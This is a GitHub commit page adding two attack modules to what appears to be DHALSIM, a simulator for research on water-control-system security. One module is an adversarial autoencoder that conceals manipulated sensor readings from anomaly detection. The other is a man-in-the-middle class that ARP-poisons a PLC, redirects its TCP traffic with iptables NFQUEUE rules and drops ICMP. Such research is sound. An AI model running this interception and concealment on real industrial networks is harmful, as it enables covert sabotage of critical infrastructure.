Skip to content

Commit

Permalink
Merge pull request #37 from afmurillo/dev-paper
Browse files Browse the repository at this point in the history
Merge to dev
  • Loading branch information
afmurillo authored Feb 8, 2023
2 parents 1591791 + 2390512 commit 3bb74b1
Show file tree
Hide file tree
Showing 73 changed files with 5,952 additions and 114 deletions.
150 changes: 150 additions & 0 deletions dhalsim/network_attacks/adversarial_AE.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,150 @@
import time

from tensorflow.keras.layers import Input, Dense, Activation, BatchNormalization, Lambda
from tensorflow.keras.models import Model, load_model
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau
from sklearn.preprocessing import MinMaxScaler
from tensorflow.keras.initializers import glorot_normal

from sklearn.model_selection import train_test_split
import numpy as np
import pandas as pd


# This module was developed by Alessandro Erba, the original is found here:
# https://github.com/scy-phy/ICS-Evasion-Attacks/blob/master/Adversarial_Attacks/Black_Box_Attack/adversarial_AE.py

class Adversarial_AE:

def __init__(self, feature_dims, hide_layers):
# define parameters
self.attacker_scaler = MinMaxScaler()
self.feature_dims = feature_dims
self.hide_layers = hide_layers
self.generator_layers = [self.feature_dims, int(self.hide_layers /
2), self.hide_layers, int(self.hide_layers/2), self.feature_dims]
optimizer = Adam(lr=0.001)

# Build the generator
self.generator = self.build_generator()
self.generator.compile(optimizer=optimizer, loss='mean_squared_error')

def build_generator(self):
input = Input(shape=(self.feature_dims,))
x = input
for dim in self.generator_layers[1:]:
x = Dense(dim, activation='sigmoid',
kernel_initializer=glorot_normal(seed=12345))(x)
generator = Model(input, x, name='generator')

return generator

def train_advAE(self, ben_data, xset):
ben_data[xset] = self.attacker_scaler.transform(
ben_data[xset])
x_ben = pd.DataFrame(index=ben_data.index,
columns=xset, data=ben_data[xset])
x_ben_train, x_ben_test, _, _ = train_test_split(
x_ben, x_ben, test_size=0.33, random_state=42)
earlyStopping = EarlyStopping(
monitor='val_loss', patience=3, verbose=0, min_delta=1e-4, mode='auto')
lr_reduced = ReduceLROnPlateau(
monitor='val_loss', factor=0.5, patience=1, verbose=0, min_delta=1e-4, mode='min')
print(self.generator.summary())
self.generator.fit(x_ben_train, x_ben_train,
epochs=500,
batch_size=64,
shuffle=False,
callbacks=[earlyStopping, lr_reduced],
verbose=2,
validation_data=(x_ben_test, x_ben_test))


def fix_sample(self, gen_examples, dataset):
"""
Adjust discrete actuators values to the nearest allowed value
Parameters
----------
gen_examples : Pandas Dataframe
adversarial examples that needs to be adjusted
dataset : string
name of the dataset the data come from to select the correct strategy
Returns
-------
pandas DataFrame
adversarial examples with distrete values adjusted
"""
if dataset == 'BATADAL':
list_pump_status = list(gen_examples.filter(
regex='STATUS_PU[0-9]|STATUS_V[0-9]').columns)

for j, _ in gen_examples.iterrows():
for i in list_pump_status: #list(gen_examples.columns[31:43]):
if gen_examples.at[j, i] > 0.5:
gen_examples.at[j, i] = 1
else:
gen_examples.at[j, i] = 0
gen_examples.at[j, i.replace('STATUS', 'FLOW')] = 0 #gen_examples.columns[(
# gen_examples.columns.get_loc(i)) - 12]] = 0

return gen_examples

def decide_concealment(self, n, binary_dataframe, gen_examples, original_examples, xset):
"""
Conceal only n variables among the modified ones by the autoencoder
computes the squared error between original and concealed sample and forward only the first n wrongly reconstructed
Parameters
----------
n : int
number of variables to be forwarded concealed
gen_examples : Pandas Dataframe
concealed tuples by the autoencoder
original_examples : Pandas Dataframe
original tuples
Returns
-------
pandas series
concealed tuple with exactly n concealed sensor readings
pandas DataFrame
one hot encoded table keeping track of which of the n variables have been manipulated
"""
for j in range(0, len(gen_examples)):
distance = (original_examples.iloc[j] - gen_examples.iloc[j])
distance = np.sqrt(distance**2)
distance = distance.sort_values(ascending=False)
distance = distance.drop(distance.index[n:])
binary_row = pd.DataFrame(
index=[distance.name], columns=xset, data=0)
for elem in distance.keys():
binary_row.loc[distance.name, elem] = 1
binary_dataframe = binary_dataframe.append(binary_row)
for col, _ in distance.iteritems():
original_examples.at[j, col] = gen_examples.at[j, col]

return original_examples.values, binary_dataframe

def conceal_fixed(self, constraints, gen_examples, original_examples):
"""
Conceal only n variables according to the list of allowed ones.
Parameters
----------
constraints : list
list of sensor values that can be changed
gen_examples : Pandas Dataframe
concealed tuples by the autoencoder
original_examples : Pandas Dataframe
original tuples
Returns
-------
pandas series
adversarial examples with the allowed concealed sensor readings
"""
for j in range(0, len(gen_examples)):
#print(constraints)
#print(original_examples.iloc[j])
for col in constraints:
original_examples.at[j, col] = gen_examples.at[j, col]
#print(original_examples.iloc[j])
return original_examples.values
176 changes: 176 additions & 0 deletions dhalsim/network_attacks/black_box_concealment_attack.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,176 @@
import numpy as np
import pandas as pd

import argparse
import os
from pathlib import Path
import subprocess
import sys
import signal
import os
import time

from dhalsim.network_attacks.utilities import launch_arp_poison, restore_arp
from dhalsim.network_attacks.synced_attack import SyncedAttack
from evasion_attacks.Adversarial_Attacks.Black_Box_Attack import adversarial_AE

from tensorflow.keras.models import Model, load_model


class Error(Exception):
"""Base class for exceptions in this module."""


class DirectionError(Error):
"""Raised when the optional parameter direction does not have source or destination as value"""


class UnconstrainedBlackBox(SyncedAttack):
"""
todo
:param intermediate_yaml_path: The path to the intermediate YAML file
:param yaml_index: The index of the attack in the intermediate YAML
"""

NETFILTERQUEUE_SUBPROCESS_TIMEOUT = 3
""" Timeout to wait for the netfilter subprocess to be finished"""

def __init__(self, intermediate_yaml_path: Path, yaml_index: int):

# sync in this attack needs to be hanlded by the netfilterqueue. This value will be changed after we
# launch the netfilterqueue process
sync = True
super().__init__(intermediate_yaml_path, yaml_index, sync)
os.system('sysctl net.ipv4.ip_forward=1')

if self.intermediate_attack['persistent'] == 'True':
self.persistent = True
else:
self.persistent = False

# Process object to handle nfqueue
self.nfqueue_process = None


def setup(self):
"""
This function start the network attack.
It first sets up the iptables on the attacker node to capture the tcp packets coming from
the target PLC. It also drops the icmp packets, to avoid network packets skipping the
attacker node.
Afterwards it launches the ARP poison, which basically tells the network that the attacker
is the PLC, and it tells the PLC that the attacker is the router.
Finally, it launches the thread that will examine all captured packets.
"""
self.modify_ip_tables(True)

queue_number = 1
nfqueue_path = Path(__file__).parent.absolute() / "unconstrained_blackbox_netfilter_queue.py"
cmd = ["python3", str(nfqueue_path), str(self.intermediate_yaml_path), str(self.yaml_index), str(queue_number)]

self.sync = False
self.nfqueue_process = subprocess.Popen(cmd, shell=False, stderr=sys.stderr, stdout=sys.stdout)

# Launch the ARP poison by sending the required ARP network packets
launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip'])
if self.intermediate_yaml['network_topology_type'] == "simple":
for plc in self.intermediate_yaml['plcs']:
if plc['name'] != self.intermediate_plc['name']:
launch_arp_poison(self.target_plc_ip, plc['local_ip'])

self.logger.debug(f"Concealment MITM Attack ARP Poison between {self.target_plc_ip} and "
f"{self.intermediate_attack['gateway_ip']}")

def interrupt(self):
"""
This function will be called when we want to stop the attacker. It calls the teardown
function if the attacker is in state 1 (running)
"""
if self.state == 1:
self.teardown()

def teardown(self):
"""
This function will undo the actions done by the setup function.
It first restores the arp poison, to point to the original router and PLC again. Afterwards
it will delete the iptable rules and stop the thread.
"""
restore_arp(self.target_plc_ip, self.intermediate_attack['gateway_ip'])
if self.intermediate_yaml['network_topology_type'] == "simple":
for plc in self.intermediate_yaml['plcs']:
if plc['name'] != self.intermediate_plc['name']:
restore_arp(self.target_plc_ip, plc['local_ip'])

self.logger.debug(f"MITM Attack ARP Restore between {self.target_plc_ip} and "
f"{self.intermediate_attack['gateway_ip']}")

self.modify_ip_tables(False)
self.logger.debug(f"Restored ARP")

self.logger.debug("Stopping nfqueue subprocess...")
self.nfqueue_process.send_signal(signal.SIGINT)

try:
self.nfqueue_process.wait(self.NETFILTERQUEUE_SUBPROCESS_TIMEOUT)
except subprocess.TimeoutExpired as e:
self.logger.debug('TimeoutExpire: ' + str(e))
if self.nfqueue_process.poll() is None:
self.nfqueue_process.terminate()
if self.nfqueue_process.poll() is None:
self.nfqueue_process.kill()

self.logger.debug("Stopped nfqueue subprocess")

def attack_step(self):
"""Polls the NetFilterQueue subprocess and sends a signal to stop it when teardown is called"""
#todo: Here we would connect to the adversarial model?
pass


@staticmethod
def modify_ip_tables(append=True):

if append:
os.system(f'iptables -t mangle -A PREROUTING -p tcp -j NFQUEUE --queue-num 1')

os.system('iptables -A FORWARD -p icmp -j DROP')
os.system('iptables -A INPUT -p icmp -j DROP')
os.system('iptables -A OUTPUT -p icmp -j DROP')
else:

os.system(f'iptables -t mangle -D INPUT -p tcp -j NFQUEUE --queue-num 1')
os.system(f'iptables -t mangle -D FORWARD -p tcp -j NFQUEUE --queue-num 1')

os.system('iptables -D FORWARD -p icmp -j DROP')
os.system('iptables -D INPUT -p icmp -j DROP')
os.system('iptables -D OUTPUT -p icmp -j DROP')

def is_valid_file(parser_instance, arg):
"""Verifies whether the intermediate yaml path is valid."""
if not os.path.exists(arg):
parser_instance.error(arg + " does not exist")
else:
return arg


if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Start an unconstrained black box attack ')
parser.add_argument(dest="intermediate_yaml",
help="intermediate yaml file", metavar="FILE",
type=lambda x: is_valid_file(parser, x))
parser.add_argument(dest="index", help="Index of the network attack in intermediate yaml",
type=int,
metavar="N")

args = parser.parse_args()

attack = UnconstrainedBlackBox(
intermediate_yaml_path=Path(args.intermediate_yaml),
yaml_index=args.index)

attack.main_loop(attack.persistent)
Loading

0 comments on commit 3bb74b1

Please sign in to comment.